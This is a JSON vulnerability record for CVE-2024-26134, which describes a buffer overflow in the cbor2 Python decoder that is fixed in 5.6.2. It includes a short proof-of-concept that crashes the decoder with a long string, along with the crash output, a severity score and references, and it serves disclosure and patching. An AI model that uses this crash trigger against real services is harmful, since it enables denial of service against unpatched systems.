{"id":"CVE-2024-26134","aliases":["GHSA-375g-39jq-vq7m","PYSEC-2024-155"],"url":"https://o3.security/vulnerability/CVE-2024-26134","summary":"CBOR2 decoder has potential buffer overflow","details":"### Summary\nEver since https://github.com/agronholm/cbor2/pull/204 (or specifically https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542) was merged, I can create a reproducible crash when running the snippet under PoC on a current Debian bullseye aarm64 on a Raspberry Pi 3 (I was **not** able to reproduce this on my x86_64 Laptop with Python 3.11; I suspect because there is enough memory to allocate still)\n\n## Details\n\n\n### PoC\n```py\nimport json\nimport concurrent.futures\nimport cbor2\n\ndef test():\n    obj = \"x\" * 131128\n    cbor_enc = cbor2.dumps(obj)\n    return cbor2.loads(cbor_enc)\n\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n    future = executor.submit(test)\n    print(future.result())\n```\n\n```\nmalloc(): unsorted double linked list corrupted\nTraceback (most recent call last):\n  File \"test.py\", line 14, in <module>\n    print(future.result())\n  File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 440, in result\n    return self.__get_result()\n  File \"/usr/lib/python3.9/concurrent/futures/_base.py\", line 389, in __get_result\n    raise self._exception\nconcurrent.futures.process.BrokenProcessPool: A process in the process pool was terminated abruptly while the future was running or pending.\n```\n\nIf one calls it without the indirection via the pool executor, a SystemError is shown that hides the buffer overflow.\n\n```py\nimport json\nimport cbor2\n\ndef test():\n    obj = \"x\" * 131128\n    cbor_enc = cbor2.dumps(obj)\n    return cbor2.loads(cbor_enc)\n\nprint(test())\n```\n\n```\nTraceback (most recent call last):\n  File \"test.py\", line 12, in <module>\n    print(test())\n  File \"test.py\", line 9, in test\n    return cbor2.loads(cbor_enc)\nSystemError: <built-in function loads> returned NULL without setting an error\n```\n\n### Impact\nAn attacker can crash a service using cbor2 to parse a CBOR binary by sending a long enough object.","published":"2024-02-19T22:13:47.173Z","modified":"2026-08-12T15:15:55.362032Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"PyPI","name":"cbor2","fixedVersion":"5.6.2"}],"fix":{"url":"https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542","label":"agronholm/cbor2@387755e"},"references":[{"type":"WEB","url":"https://github.com/agronholm/cbor2/releases/tag/5.6.2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY/"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/26xxx/CVE-2024-26134.json"},{"type":"ADVISORY","url":"https://github.com/agronholm/cbor2/security/advisories/GHSA-375g-39jq-vq7m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-26134"},{"type":"FIX","url":"https://github.com/agronholm/cbor2/commit/387755eacf0be35591a478d3c67fe10618a6d542"},{"type":"FIX","url":"https://github.com/agronholm/cbor2/commit/4de6991ba29bf2290d7b9d83525eda7d021873df"},{"type":"FIX","url":"https://github.com/agronholm/cbor2/pull/204"},{"type":"PACKAGE","url":"https://github.com/agronholm/cbor2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/cbor2/PYSEC-2024-155.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BT42VXZMMMCSSHMA65KKPOZCXJEYHNR5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GX524ZG2XJWFV37UQKQ4LWIH4UICSGEQ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PWC3VU6YV6EXKCSX5GTKWLBZIDIJNQJY"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T15:15:55.362032Z"}}